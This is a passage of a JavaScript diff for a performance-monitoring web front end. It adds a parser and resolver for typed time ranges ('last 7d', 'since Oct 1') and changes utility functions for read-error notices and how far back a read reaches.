+  const ctx = { zone, showYear: wallYear(startMs, zone) !== nowYear || wallYear(endMs, zone) !== nowYear };
+  const seconds = spec.kind === "fixed";
+  const a = "UTC" + formatOffset(offsetAt(startMs, zone));
+  const b = "UTC" + formatOffset(offsetAt(endMs, zone));
+  const zoneText = a === b ? a : a + " to " + b;
+  const length = formatLength(endMs - startMs);
+  const startText = formatBound(startMs, ctx, seconds);
+  const endText = formatBound(endMs, ctx, seconds);
+  return {
+    spec,
+    id: specId(spec),
+    startMs,
+    endMs,
+    live,
+    zone,
+    nowMs,
+    spanMs: endMs - startMs,
+    length,
+    startText,
+    endText,
+    zoneText,
+    label: length + "  " + startText + " - " + endText + " (" + zoneText + ")",
+  };
+}
+
+/**
+ * The instants a spec means at `nowMs` in `zone`: `{ ok: true, range }` or `{ ok: false, error: { code, message } }` (shorter than
+ * 5 minutes unless it is a calendar period, ends before it starts, reaches back too far). The range carries startMs, endMs, live (the end slides with now),
+ * spanMs, length, startText, endText, zoneText and label ("3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)").
+ */
+export function resolveSpec(spec, nowMs, zone) {
+  const fail = (code, message) => ({ ok: false, error: { code, message } });
+  let start;
+  let end;
+  let live;
+  switch (spec.kind) {
+    case "relative":
+      if (!(spec.spanMs > 0)) return fail("too_short", shortMessage(0));
+      if (spec.spanMs > MAX_RELATIVE_MS) return fail("too_far_back", "That reaches back more than 100 years.");
+      start = nowMs - spec.spanMs;
+      end = nowMs;
+      live = true;
+      break;
+    case "calendar":
+      ({ start, end, live } = resolvePeriod(spec.period, nowMs, zone));
+      break;
+    case "since":
+      start = spec.startMs;
+      end = nowMs;
+      live = true;
+      break;
+    default:
+      start = spec.startMs;
+      end = spec.endMs;
+      live = false;
+      break;
+  }
+  if (end < start) {
+    return spec.kind === "since"
+      ? fail("start_in_future", "That start has not happened yet.")
+      : fail("end_before_start", "The end is before the start.");
+  }
+  /* A fixed range that starts in the future (typed with a year ahead, or picked in the date boxes) is refused (#5562 review r2 M1): a
+     read cannot answer a window that has not begun, and the page would otherwise read the past hour under the future range's label.
+     Here, in the one resolver, so the picker's preview and Apply, the server page's hold and the shared fixture all see the same refusal. */
+  if (spec.kind === "fixed" && start > nowMs) return fail("range_not_started", "That range has not started yet.");
+  /* A calendar period is exempt from the 5-minute floor (#5562): "Today" at 00:02 reads 00:00 to now and the "collected every N min" note
+     explains a sparse chart; no other range is ever substituted. Typed spans, "since" and custom start/end keep the floor. A period that
+     has not started (zero length, exactly midnight) is still refused. */
+  if (spec.kind === "calendar" && end <= start) return fail("too_short", specName(spec) + " has only just started. Pick another range.");
+  if (spec.kind !== "calendar" && end - start < MINIMUM_SPAN_MS) return fail("too_short", shortMessage(end - start));
+  return { ok: true, range: buildRange(spec, start, end, live, zone, nowMs) };
+}
+
+/** The current length of a spec ("7h 1m" for Today, "2m" just after midnight), or null when it cannot be used right now (a calendar period at exactly its start, zero length). */
+export function currentLength(spec, nowMs, zone) {
+  const r = resolveSpec(spec, nowMs, zone);
+  return r.ok ? r.range.length : null;
+}
+
+/* ───────────────────────────────── the typed-range parser ───────────────────────────────── */
+
+class ParseFailure extends Error {
+  constructor(code, message) {
+    super(message);
+    this.code = code;
+  }
+}
+
+const RELATIVE_RX = /^(?:(?:last|past|previous)\s+)?(\d+(?:\.\d+)?)\s*([a-z]+)$/;
+const SEPARATOR_RX = /\s+(?:-|to|until)\s+/;
+const UNIX_RX = /^(?:\d{10}|\d{13})$/;
+const ISO_T_RX = /(\d{4}-\d{1,2}-\d{1,2})t(\d)/g;
+const TIME12_RX = /(?:^|\s)(\d{1,2})(?::(\d{2}))?(?::(\d{2}))?\s*(am|pm)$/;
+const TIME24_RX = /(?:^|\s)(\d{1,2}):(\d{2})(?::(\d{2}))?$/;
+const TIME_WORD_RX = /(?:^|\s)(noon|midnight)$/;
+const MONTH_DAY_RX = /^([a-z]+)\s+(\d{1,2})(?:st|nd|rd|th)?(?:\s+(\d{4}))?$/;
+const DAY_MONTH_RX = /^(\d{1,2})(?:st|nd|rd|th)?\s+([a-z]+)(?:\s+(\d{4}))?$/;
+const SLASH_RX = /^(\d{1,2})\/(\d{1,2})(?:\/(\d{4}|\d{2}))?$/;
+const ISO_RX = /^(\d{4})-(\d{1,2})-(\d{1,2})$/;
+
+const PERIODS = new Map([
+  ["today", "today"],
+  ["yesterday", "yesterday"],
+  ["this week", "week-to-date"],
+  ["week to date", "week-to-date"],
+  ["wtd", "week-to-date"],
+  ["last week", "previous-week"],
+  ["previous week", "previous-week"],
+  ["this month", "month-to-date"],
+  ["month to date", "month-to-date"],
+  ["mtd", "month-to-date"],
+  ["last month", "previous-month"],
+  ["previous month", "previous-month"],
+  ["this year", "year-to-date"],
+  ["year to date", "year-to-date"],
+  ["ytd", "year-to-date"],
+  ["last year", "previous-year"],
+  ["previous year", "previous-year"],
+]);
+
+const MONTHS = new Map([
+  ["jan", 1], ["january", 1], ["feb", 2], ["february", 2], ["mar", 3], ["march", 3],
+  ["apr", 4], ["april", 4], ["may", 5], ["jun", 6], ["june", 6], ["jul", 7], ["july", 7],
+  ["aug", 8], ["august", 8], ["sep", 9], ["sept", 9], ["september", 9],
+  ["oct", 10], ["october", 10], ["nov", 11], ["november", 11], ["dec", 12], ["december", 12],
+]);
+
+const UNITS = new Map([
+  ["m", 60], ["min", 60], ["mins", 60], ["minute", 60], ["minutes", 60],
+  ["h", 3600], ["hr", 3600], ["hrs", 3600], ["hour", 3600], ["hours", 3600],
+  ["d", 86400], ["day", 86400], ["days", 86400],
+  ["w", 604800], ["wk", 604800], ["wks", 604800], ["week", 604800], ["weeks", 604800],
+  ["mo", 2592000], ["month", 2592000], ["months", 2592000],
+]);
+
+function normalize(text) {
+  if (text == null || String(text).trim() === "") return "";
+  return String(text).trim().toLowerCase().replace(/[–—−]/g, "-").replace(/,/g, " ").replace(/\s+/g, " ").trim();
+}
+
+/** One side of a typed range, before it has a year, a day or a zone. Times are milliseconds into the day, or null. */
+function newPoint() {
+  return { isNow: false, instantMs: null, hasDate: false, year: null, month: 0, day: 0, timeMs: null };
+}
+
+function withYear(p, year) {
+  if (year < 1 || year > 9999 || p.day > daysInMonth(year, p.month)) throw new ParseFailure("bad_date", "That date does not exist.");
+  return Date.UTC(year, p.month - 1, p.day);
+}
+
+/** The calendar day of a point that has a date. Without a year it is the latest such day-and-time not after now. */
+function dateFor(p, wallNow, timeMs) {
+  if (p.year != null) return withYear(p, p.year);
+  const nowYear = new Date(wallNow).getUTCFullYear();
+  for (let year = nowYear; year >= nowYear - 8; year--) {
+    if (p.day <= daysInMonth(year, p.month)) {
+      const candidate = Date.UTC(year, p.month - 1, p.day);
+      if (candidate + (timeMs ?? 0) <= wallNow) return candidate;
+    }
+  }
+  throw new ParseFailure("bad_date", "That date does not exist.");
+}
+
+/** An end typed without a year that falls before its start means the next year, but only when that end has already happened. */
+function rollEndIntoNextYear(end, startDate, endDate, wallNow) {
+  const startYear = new Date(startDate).getUTCFullYear();
+  if (endDate >= startDate || startYear >= 9999) return endDate;
+  try {
+    const next = withYear(end, startYear + 1);
+    return next <= wallNow ? next : endDate;
+  } catch (e) {
+    if (e instanceof ParseFailure) return endDate;
+    throw e;
+  }
+}
+
+function splitSides(s) {
+  let parts = s.split(SEPARATOR_RX);
+  if (parts.length === 1) {
+    const dashes = s.split("-");
+    if (dashes.length === 2) parts = dashes;
+  }
+  if (parts.length > 2) throw new ParseFailure("bad_range", "Use one start and one end. " + EXAMPLES);
+  return parts.map((part) => {
+    const side = part.trim();
+    if (side.length === 0) throw new ParseFailure("unrecognized", "A range needs something on both sides of the dash. " + EXAMPLES);
+    return side;
+  });
+}
+
+function parseDate(d, point, wallNow, original) {
+  point.hasDate = true;
+  if (d === "today" || d === "yesterday") {
+    const day = new Date(floorDay(wallNow) - (d === "today" ? 0 : DAY_MS));
+    point.year = day.getUTCFullYear();
+    point.month = day.getUTCMonth() + 1;
+    point.day = day.getUTCDate();
+    return;
+  }
+
+  let month;
+  let dayOfMonth;
+  let yearText = "";
+  const md = MONTH_DAY_RX.exec(d);
+  const dm = DAY_MONTH_RX.exec(d);
+  const slash = SLASH_RX.exec(d);
+  const iso = ISO_RX.exec(d);
+  if (md && MONTHS.has(md[1])) {
+    month = MONTHS.get(md[1]);
+    dayOfMonth = Number(md[2]);
+    yearText = md[3] ?? "";
+  } else if (dm && MONTHS.has(dm[2])) {
+    month = MONTHS.get(dm[2]);
+    dayOfMonth = Number(dm[1]);
+    yearText = dm[3] ?? "";
+  } else if (slash) {
+    month = Number(slash[1]);
+    dayOfMonth = Number(slash[2]);
+    yearText = slash[3] ?? "";
+    if (yearText.length === 2) yearText = "20" + yearText;
+  } else if (iso) {
+    yearText = iso[1];
+    month = Number(iso[2]);
+    dayOfMonth = Number(iso[3]);
+  } else {
+    throw new ParseFailure("unrecognized", "\"" + original.trim() + "\" is not a date or a time. " + EXAMPLES);
+  }
+
+  if (month < 1 || month > 12 || dayOfMonth < 1 || dayOfMonth > 31) {
+    throw new ParseFailure("bad_date", "\"" + original.trim() + "\" is not a date that exists.");
+  }
+  if (yearText.length > 0) {
+    const year = Number(yearText);
+    if (year < 1900 || year > 9999 || dayOfMonth > daysInMonth(year, month)) {
+      throw new ParseFailure("bad_date", "\"" + original.trim() + "\" is not a date that exists.");
+    }
+    point.year = year;
+  } else if (dayOfMonth > daysInMonth(2024, month)) {
+    throw new ParseFailure("bad_date", "\"" + original.trim() + "\" is not a date that exists.");
+  }
+  point.month = month;
+  point.day = dayOfMonth;
+}
+
+function parsePoint(text, wallNow) {
+  let p = text.trim();
+  if (p === "now") {
+    const now = newPoint();
+    now.isNow = true;
+    return now;
+  }
+  if (UNIX_RX.test(p)) {
+    const number = Number(p);
+    const unix = newPoint();
+    unix.instantMs = p.length === 13 ? number : number * 1000;
+    return unix;
+  }
+
+  p = p.replace(ISO_T_RX, "$1 $2");
+  if (p.startsWith("at ")) p = p.slice(3);
+  else if (p.startsWith("on ")) p = p.slice(3);
+  p = p.replaceAll(" at ", " ");
+
+  const point = newPoint();
+  let datePart = p;
+  const m12 = TIME12_RX.exec(p);
+  const m24 = TIME24_RX.exec(p);
+  const mWord = TIME_WORD_RX.exec(p);
+  if (m12) {
+    const hour = Number(m12[1]);
+    const minute = m12[2] != null ? Number(m12[2]) : 0;
+    const second = m12[3] != null ? Number(m12[3]) : 0;
+    if (hour < 1 || hour > 12 || minute > 59 || second > 59) {
+      throw new ParseFailure("bad_time", "\"" + m12[0].trim() + "\" is not a time on a 12-hour clock.");
+    }
+    const pm = m12[4] === "pm";
+    point.timeMs = (((hour % 12) + (pm ? 12 : 0)) * 3600 + minute * 60 + second) * 1000;
+    datePart = p.slice(0, m12.index);
+  } else if (m24) {
+    const hour = Number(m24[1]);
+    const minute = Number(m24[2]);
+    const second = m24[3] != null ? Number(m24[3]) : 0;
+    if (hour > 23 || minute > 59 || second > 59) {
+      throw new ParseFailure("bad_time", "\"" + m24[0].trim() + "\" is not a time on a 24-hour clock.");
+    }
+    point.timeMs = (hour * 3600 + minute * 60 + second) * 1000;
+    datePart = p.slice(0, m24.index);
+  } else if (mWord) {
+    point.timeMs = mWord[1] === "noon" ? 12 * HOUR_MS : 0;
+    datePart = p.slice(0, mWord.index);
+  }
+
+  datePart = datePart.trim();
+  if (datePart.length === 0) {
+    if (point.timeMs == null) throw new ParseFailure("unrecognized", "\"" + text.trim() + "\" is not a date or a time. " + EXAMPLES);
+    return point;
+  }
+  parseDate(datePart, point, wallNow, text);
+  return point;
+}
+
+function checkCalendarEnd(wallMs) {
+  if (wallMs > LAST_DAY_MS) throw new ParseFailure("bad_date", "That date is out of range.");
+}
+
+function fixedFromWall(startWall, endWall, zone) {
+  checkCalendarEnd(endWall);
+  return fixedSpec(wallToUtcBound(startWall, zone, "from"), wallToUtcBound(endWall, zone, "to"));
+}
+
+function sinceFromPoint(start, wallNow, zone) {
+  if (start.isNow) throw new ParseFailure("bad_range", "The start cannot be now.");
+  if (start.instantMs != null) return sinceSpec(start.instantMs);
+  let wall;
+  if (start.hasDate) {
+    wall = dateFor(start, wallNow, start.timeMs) + (start.timeMs ?? 0);
+  } else {
+    /* A time alone is the latest such time that is not in the future. */
+    wall = floorDay(wallNow) + start.timeMs;
+    if (wall > wallNow) wall -= DAY_MS;
+  }
+  return sinceSpec(wallToUtcBound(wall, zone, "from"));
+}
+
+function rangeFromPoints(a, b, wallNow, zone) {
+  let aDate;
+  let bDate;
+  if (a.hasDate && b.hasDate) {
+    if (a.year == null && b.year == null) {
+      aDate = dateFor(a, wallNow, a.timeMs);
+      bDate = withYear(b, new Date(aDate).getUTCFullYear());
+      bDate = rollEndIntoNextYear(b, aDate, bDate, wallNow);
+    } else if (a.year == null) {
+      bDate = withYear(b, b.year);
+      aDate = withYear(a, new Date(bDate).getUTCFullYear());
+      if (aDate > bDate) aDate = withYear(a, new Date(bDate).getUTCFullYear() - 1);
+    } else {
+      aDate = withYear(a, a.year);
+      bDate = withYear(b, b.year ?? new Date(aDate).getUTCFullYear());
+      if (b.year == null) bDate = rollEndIntoNextYear(b, aDate, bDate, wallNow);
+    }
+    if (bDate < aDate) throw new ParseFailure("end_before_start", "The end is before the start.");
+  } else if (a.hasDate) {
+    aDate = dateFor(a, wallNow, a.timeMs);
+    bDate = aDate;
+    if (b.timeMs < (a.timeMs ?? 0)) bDate = aDate + DAY_MS;
+  } else if (b.hasDate) {
+    bDate = dateFor(b, wallNow, b.timeMs);
+    aDate = bDate;
+    if (b.timeMs != null && a.timeMs > b.timeMs) aDate = bDate - DAY_MS;
+  } else {
+    /* Two times: the latest day whose range has ended by now; an end earlier on the clock than the start is the next day. */
+    const rollsOver = b.timeMs < a.timeMs ? 1 : 0;
+    aDate = floorDay(wallNow);
+    for (let back = 0; back < 3; back++) {
+      aDate = floorDay(wallNow) - back * DAY_MS;
+      if (aDate + rollsOver * DAY_MS + b.timeMs <= wallNow) break;
+    }
+    bDate = aDate + rollsOver * DAY_MS;
+  }
+  const startWall = aDate + (a.timeMs ?? 0);
+  const endWall = b.timeMs == null ? bDate + DAY_MS : bDate + b.timeMs;
+  return fixedFromWall(startWall, endWall, zone);
+}
+
+function parseSpec(text, nowMs, zone) {
+  let s = normalize(text);
+  if (s.length === 0) throw new ParseFailure("empty", "Type a range. " + EXAMPLES);
+
+  if (PERIODS.has(s)) return calendarSpec(PERIODS.get(s));
+
+  const relative = RELATIVE_RX.exec(s);
+  if (relative && UNITS.has(relative[2])) {
+    const seconds = Number(relative[1]) * UNITS.get(relative[2]);
+    if (seconds > 36500 * 86400) throw new ParseFailure("too_far_back", "That reaches back more than 100 years.");
+    return relativeSpec(roundEven(seconds) * 1000);
+  }
+
+  const wallNow = toWall(nowMs, zone);
+  if (s.startsWith("since ")) return sinceFromPoint(parsePoint(s.slice(6), wallNow), wallNow, zone);
+  if (s.startsWith("from ")) s = s.slice(5);
+
+  const sides = splitSides(s);
+  if (sides.length === 1) {
+    const only = parsePoint(sides[0], wallNow);
+    if (only.isNow || only.instantMs != null || !only.hasDate || only.timeMs != null) {
+      throw new ParseFailure("needs_end", "Give an end as well, like \"Oct 1 12pm - 3pm\", or say \"since Oct 1 12pm\".");
+    }
+    /* One date alone is the whole day. */
+    const day = dateFor(only, wallNow, null);
+    return fixedFromWall(day, day + DAY_MS, zone);
+  }
+
+  const a = parsePoint(sides[0], wallNow);
+  const b = parsePoint(sides[1], wallNow);
+  if (a.isNow) throw new ParseFailure("bad_range", "The start cannot be now. Use \"since\" for a range that grows.");
+  if (b.isNow) return sinceFromPoint(a, wallNow, zone);
+  if (a.instantMs != null || b.instantMs != null) {
+    if (a.instantMs == null || b.instantMs == null) {
+      throw new ParseFailure("bad_range", "Use two Unix times, or two dates and times, not one of each.");
+    }
+    return fixedSpec(a.instantMs, b.instantMs);
+  }
+  return rangeFromPoints(a, b, wallNow, zone);
+}
+
+/**
+ * Reads a line of text as a range at `nowMs` in `zone`. Returns `{ ok, range, spec, echo, error, errorCode }`: `echo` is the
+ * range's one-line label (empty on an error), `error` the plain reason and `errorCode` the stable code (empty, unrecognized,
+ * bad_date, bad_time, bad_range, needs_end, too_short, end_before_start, start_in_future, range_not_started, too_far_back).
+ */
+export function parseRange(text, nowMs, zone) {
+  const refused = (code, message) => ({ ok: false, range: null, spec: null, echo: "", error: message, errorCode: code });
+  try {
+    const spec = parseSpec(text, nowMs, zone);
+    const r = resolveSpec(spec, nowMs, zone);
+    return r.ok
+      ? { ok: true, range: r.range, spec, echo: r.range.label, error: null, errorCode: null }
+      : refused(r.error.code, r.error.message);
+  } catch (e) {
+    if (e instanceof ParseFailure) return refused(e.code, e.message);
+    if (e instanceof RangeError) return refused("bad_date", "That date is out of range.");
+    throw e;
+  }
+}
+
+/* ───────────────────────────────── notes, reach, and the reads' window ───────────────────────────────── */
+
+/** "3 minutes" / "1 hour" / "30 seconds": a collector interval in words. */
+export function intervalText(intervalMs) {
+  let count;
+  let unit;
+  if (intervalMs % HOUR_MS === 0) {
+    count = intervalMs / HOUR_MS;
+    unit = "hour";
+  } else if (intervalMs % MINUTE_MS === 0) {
+    count = intervalMs / MINUTE_MS;
+    unit = "minute";
+  } else {
+    count = Math.max(1, Math.round(intervalMs / 1000));
+    unit = "second";
+  }
+  return count === 1 ? unit : count + " " + unit + "s";
+}
+
+/** "Data here is collected every 5 minutes." when the span holds fewer than 3 samples at the interval, else null. */
+export function sampleIntervalNote(spanMs, intervalMs) {
+  if (!(intervalMs > 0) || spanMs >= intervalMs * MIN_SAMPLES) return null;
+  return "Data here is collected every " + intervalText(intervalMs) + ".";
+}
+
+/** "Data starts Oct 3, 2:00 pm" when the range starts more than 90 minutes before the data does, else null. */
+export function dataStartNote(range, dataStartMs) {
+  if (dataStartMs == null || range.startMs >= dataStartMs - DATA_START_SLACK_MS) return null;
+  const nowYear = wallYear(range.nowMs, range.zone);
+  const showYear = wallYear(range.startMs, range.zone) !== nowYear || wallYear(range.endMs, range.zone) !== nowYear;
+  return "Data starts " + formatBound(dataStartMs, { zone: range.zone, showYear }, false);
+}
+
+/** An instant as the text a date-time box and the typed grammar both read, in the zone: "2026-10-01 13:00" (seconds only when not zero). */
+export function wallText(ms, zone) {
+  const w = new Date(toWall(ms, zone));
+  const date = w.getUTCFullYear() + "-" + pad2(w.getUTCMonth() + 1) + "-" + pad2(w.getUTCDate());
+  const clock = pad2(w.getUTCHours()) + ":" + pad2(w.getUTCMinutes()) + (w.getUTCSeconds() ? ":" + pad2(w.getUTCSeconds()) : "");
+  return date + " " + clock;
+}
+
+/**
+ * The reach of one read, in hours: the `max_hours` its /api/catalog entry carries (on the entry, or on its `hours` param), else the
+ * default (168). The catalog entry is the element of `reads` the page's active read names; with none, the default applies.
+ */
+export function reachHours(catalogEntry, fallbackHours = 168) {
+  const param = catalogEntry && Array.isArray(catalogEntry.params) ? catalogEntry.params.find((p) => p && p.name === "hours") : null;
+  for (const holder of [catalogEntry, param]) {
+    const max = holder ? Number(holder.max_hours) : NaN;
+    if (Number.isFinite(max) && max > 0) return max;
+  }
+  return fallbackHours;
+}
+
+/** The main collector's interval of one read in milliseconds, from the `collector_interval_minutes` its /api/catalog entry carries (on the entry or on its `hours` param), else null (no note). */
+export function collectorIntervalMs(catalogEntry) {
+  const param = catalogEntry && Array.isArray(catalogEntry.params) ? catalogEntry.params.find((p) => p && p.name === "hours") : null;
+  for (const holder of [catalogEntry, param]) {
+    const minutes = holder ? Number(holder.collector_interval_minutes) : NaN;
+    if (Number.isFinite(minutes) && minutes > 0) return minutes * MINUTE_MS;
+  }
+  return null;
+}
+
+/** "7 days" / "90 days" / "36 hours": a reach in words. */
+export function reachText(hours) {
+  return hours % 24 === 0 ? hours / 24 + " day" + (hours === 24 ? "" : "s") : hours + " hour" + (hours === 1 ? "" : "s");
+}
+
+/** The reason a range is longer than the reach (hours), or null when it fits. */
+export function reachRefusal(spanMs, hours) {
+  return spanMs > hours * HOUR_MS ? "This page's reads reach at most " + reachText(hours) + " back." : null;
+}
+
+/** The shortest range a rolling-only page offers: one hour, because its reads take whole hours back from now (#5562 R5). */
+export const ROLLING_ONLY_MIN_SPAN_MS = HOUR_MS;
+
+/**
+ * The reason a range is not one a rolling-only page can read, or null (#5562 R5). A FinOps read is "this many hours back from
+ * now", so it cannot honor a calendar period, a finished range, a since-range or a length that is not a whole number of hours;
+ * the page refuses them rather than showing a range its read would answer differently.
+ */
+export function rollingOnlyRefusal(spec, spanMs, minSpanMs = ROLLING_ONLY_MIN_SPAN_MS, stepMs = HOUR_MS) {
+  if (!spec || spec.kind !== "relative") {
+    return "This page reads a length back from now, so pick a rolling length such as 24h or 7d.";
+  }
+  if (spanMs < minSpanMs) return "This page reads at least " + formatLength(minSpanMs) + " back from now.";
+  if (spanMs % stepMs !== 0) {
+    return stepMs % DAY_MS === 0 ? "This page reads whole days back from now, such as 7d or 30d." : "This page reads whole hours back from now, such as 6h or 3d.";
+  }
+  return null;
+}
+
+/** The reason a range is shorter than a page's own floor, or null. */
+export function minSpanRefusal(spanMs, minSpanMs) {
+  return minSpanMs > 0 && spanMs < minSpanMs ? "This page reads at least " + formatLength(minSpanMs) + "." : null;
+}
+
+/**
+ * The window a read takes for a resolved range: reads take whole `hours` and an `as_of` end. `hours` rounds the span UP to a whole
+ * number of hours (at least 1), so the fetch starts at or before the range start and the page trims to the exact pair; `asOf` is
+ * the end as ISO text, or null for a live range, whose reads are anchored at the server's own clock.
+ */
+export function readWindow(range, nowMs = Date.now()) {
+  /* A fixed range whose end is at or after now is a live range ending now (#5562 review r1 M2): it is sent with no as_of, which a
+     read would refuse as "in the future", and it keeps refreshing until the clock passes the end. */
+  const endsNow = range.live || range.endMs >= nowMs;
+  const endMs = endsNow ? Math.max(range.startMs, Math.min(range.endMs, nowMs)) : range.endMs;
+  const spanMs = endsNow && !range.live ? Math.max(0, endMs - range.startMs) : range.spanMs;
+  return {
+    hours: Math.max(1, Math.ceil(spanMs / HOUR_MS)),
+    asOf: endsNow ? null : new Date(range.endMs).toISOString(),
+    live: endsNow,
+    startMs: range.startMs,
+    endMs: endsNow && !range.live ? endMs : range.endMs,
+  };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js
index 31637ef689..dd6c69f97a 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js
@@ -8,14 +8,19 @@
 
 /*
  * Shared leaf utilities for Darling Web (#1562): DOM builders, UTC->local time, value formatters, and the API
- * fetch helper. This module imports nothing (it is the base of the module DAG: app/panels/charts/pages all
- * import it, so there is no import cycle). Two rules are enforced HERE so every caller inherits them:
+ * fetch helper. This module imports only database-filter-reads.js (pure data) and plain-text.js (pure text rules), neither of which imports
+ * anything (so it is
+ * still the base of the module DAG: app/panels/charts/pages all import it, so there is no import cycle). Two rules are
+ * enforced HERE so every caller inherits them:
  *   R4 (XSS): the el() builder assigns untrusted text ONLY through textContent / text nodes; it throws if a
  *     caller ever tries to pass raw HTML, so no data path can reach innerHTML.
  *   R5 (time): every timestamp from the API is naive UTC ISO-8601 (no zone suffix) — parseUtc() appends 'Z'
  *     so the browser reads it as UTC, then formatting localizes it to the viewer's zone.
  */
 
+import { FILTERED, readScope } from "./database-filter-reads.js";
+import { plainText } from "./plain-text.js";
+
 /* ─────────────────────────── DOM builders (textContent-only) ─────────────────────────── */
 
 /**
@@ -44,7 +49,7 @@ export function el(tag, props = {}, children = []) {
  * activate it exactly like a click. Used by the clickable-div affordances (fleet cards, band rows, sidebar
  * servers) so they get a keyboard path + a :focus-visible ring without becoming real <button>s (a11y).
  */
-function makeActivatable(node, handler) {
+export function makeActivatable(node, handler) {
   node.setAttribute("role", "button");
   node.setAttribute("tabindex", "0");
   node.addEventListener("click", handler);
@@ -126,6 +131,7 @@ export function rollupTextId(lbl, part, used) {
 /* ─────────────────────────── state strips ─────────────────────────── */
 
 export function errorStrip(message) {
+  readErrors++;
   return el("div", { class: "strip error", role: "alert" }, [message]);
 }
 export function emptyStrip(message) {
@@ -135,18 +141,37 @@ export function emptyStrip(message) {
 export function noticeStrip(message) {
   return el("div", { class: "strip notice", role: "status" }, [message]);
 }
+/**
+ * The two collectors the blocking reads draw from (#5244): the blocked-process-report XE session when it holds a row in the window
+ * for the chosen databases, and the DMV snapshot only when it holds none. The MCP answers name the one that answered in `source`;
+ * these are the same two tags.
+ */
+export const BLOCKING_SOURCES = ["blocked-process-report", "DMV snapshot"];
+
+/**
+ * Which collector answered a blocking read, as a line above the chart (#5244). A filter of [A] can draw A's DMV-only event that
+ * [A, B] drops, and nothing on the chart said which collector it was reading. `desc.sourceKey` names the answer's field (`source`
+ * on get_blocking_trend and get_blocking_stats). Null when the descriptor names no field, when the answer carries no source (no
+ * rows: the empty answer and the zero-row answer both leave it null), or when the value is not one of the two tags. The tag is
+ * text, never markup (R4).
+ */
+export function sourceStrip(data, desc) {
+  if (!desc || !desc.sourceKey) return null;
+  const tag = getPath(data, desc.sourceKey);
+  return BLOCKING_SOURCES.includes(tag) ? el("div", { class: "strip source", role: "status" }, ["Source: " + tag]) : null;
+}
 /**
  * Render a read error, degrading the "window too wide" case to a notice (#2780). A range wider than a read can
  * serve comes back as a raw `hours_back value 'N' exceeds maximum of M hours (D days)...` validation string
  * (McpHelpers.ValidateHoursBack); that is a range choice, not a fault, so it becomes a status notice naming the
- * window the view keeps rather than a red error carrying the API's own wording. Every other message stays an
+ * widest window the read takes rather than a red error carrying the API's own wording. Every other message stays an
  * error. SHARED by every read-error site — the descriptor loader AND the hand-built server-tab composites — so
  * a tab cannot show a friendly notice on one panel and the raw string on its neighbour.
  */
 export function readErrorStrip(message) {
   const hours = keptHoursOf(message);
   if (hours != null) {
-    return noticeStrip(keptHistoryText(hours) + " — pick a shorter range.");
+    return noticeStrip(readLimitText(hours) + ". Pick a shorter range.");
   }
   return errorStrip(message);
 }
@@ -158,20 +183,22 @@ function keptHoursOf(message) {
   return m ? Number(m[1]) : null;
 }
 
-function daysText(hours) {
+export function daysText(hours) {
   const days = Math.round(hours / 24);
   return days + " day" + (days === 1 ? "" : "s");
 }
 
-function keptHistoryText(hours) {
-  return "This view keeps up to " + hours + " hours (" + daysText(hours) + ") of history";
+/* The read's own limit, not the store's history: most tables keep far longer than the 7 days most reads take. */
+function readLimitText(hours) {
+  return "This view reads at most " + hours + " hours (" + daysText(hours) + ") at a time";
 }
 
 /**
- * Run a read, and when it refuses the page's window because it keeps less history than that, ask it again ONCE
- * for the history it does keep. The Range select offers 30 days, and most reads keep 7: before this, each of
- * those panels showed only readErrorStrip's "pick a shorter range" notice and no data, beside panels whose reads
- * accept 30 days. Now the panel shows the last M hours with keptWindowStrip's notice saying so.
+ * Run a read, and when it refuses the page's window as wider than it takes, ask it again ONCE for the widest window
+ * it does take. Most reads take at most 7 days. The server page's Range stops there, but a Custom View's
+ * read panel stores its own hours and can still ask for more: before this, such a panel showed only
+ * readErrorStrip's "pick a shorter range" notice and no data. Now it shows the last M hours with keptWindowStrip's
+ * notice saying so.
  *
  * `fetchWith(params)` is the read itself (readTool, or apiGet over a raw path), so the descriptor loader and the
  * hand-built server-tab composites share this one rule. The retry happens only for the window refusal and only
@@ -185,7 +212,9 @@ export async function readWithinKeptHistory(fetchWith, params) {
   const kept = keptHoursOf(res.message);
   const asked = Number(params && params.hours);
   if (kept == null || !(kept >= 1 && asked > kept)) return res;
-  const retry = await fetchWith({ ...params, hours: kept });
+  /* The narrowed ask remembers the hours it replaces (NARROWED_FROM, a symbol, so it never reaches the query string):
+     a custom range on the server page carries through the retry instead of the read falling back to "ending now". */
+  const retry = await fetchWith({ ...params, hours: kept, [NARROWED_FROM]: asked });
   return retry.kind === "data" || retry.kind === "empty" ? { ...retry, keptHours: kept } : retry;
 }
 
@@ -194,11 +223,107 @@ export function readToolWithinKeptHistory(tool, params, signal) {
   return readWithinKeptHistory((p) => readTool(tool, p, signal), params);
 }
 
-/** The notice for a read readWithinKeptHistory narrowed to the history it keeps, or null for any other result. */
+/** The notice for a read readWithinKeptHistory narrowed to the widest window it takes, or null for any other result. */
 export function keptWindowStrip(res) {
+  if (res && !res.keptHours && res.presetHours) {
+    return noticeStrip("This panel shows the last " + res.presetHours + " hours, not the custom range: its read takes no end time.");
+  }
   if (!res || !res.keptHours) return null;
-  return noticeStrip(keptHistoryText(res.keptHours) + ", so it shows the last " + daysText(res.keptHours) + ".");
+  if (res.keptCustom) {
+    return noticeStrip(readLimitText(res.keptHours) + ", so it shows the part of the custom range the store still holds.");
+  }
+  return noticeStrip(readLimitText(res.keptHours) + ", so it shows the last " + daysText(res.keptHours) + ".");
+}
+
+/**
+ * The notice for a grid whose table starts covering the server after the window does (#4966): the response says so with
+ * `window_truncated: true` and a `truncation_note` naming where the data starts (in the browser's zone by the time a
+ * read reaches here: readTool composes it with windowNoteText). Null for any other response,
+ * which is every window the table covered, a quiet start included. `desc` is the panel's descriptor: a grid or a stat
+ * tile draws the note, a chart does not (its time axis already spans the asked range and shows the empty span), and a grid that names
+ * `truncation_note` as its own note (the Queries tab's grids, #4231) draws it there, not twice. A stat is safe to draw: a tile over a
+ * snapshot read that takes no `hours` never gets the fields from the server. A panel over the NEWEST snapshot of a read that also
+ * serves a window (the `grants` half of the memory reads, Automatic Tuning) sets `windowNote: false`, because its rows are a moment,
+ * not the window. A read that measures its own floor in a nested block (the Query Store clutter read's `window`) names it in
+ * `floorKey`, and the fields are read from there instead of from the top level. The note is text, never markup (R4).
+ */
+export function windowFloorStrip(data, desc) {
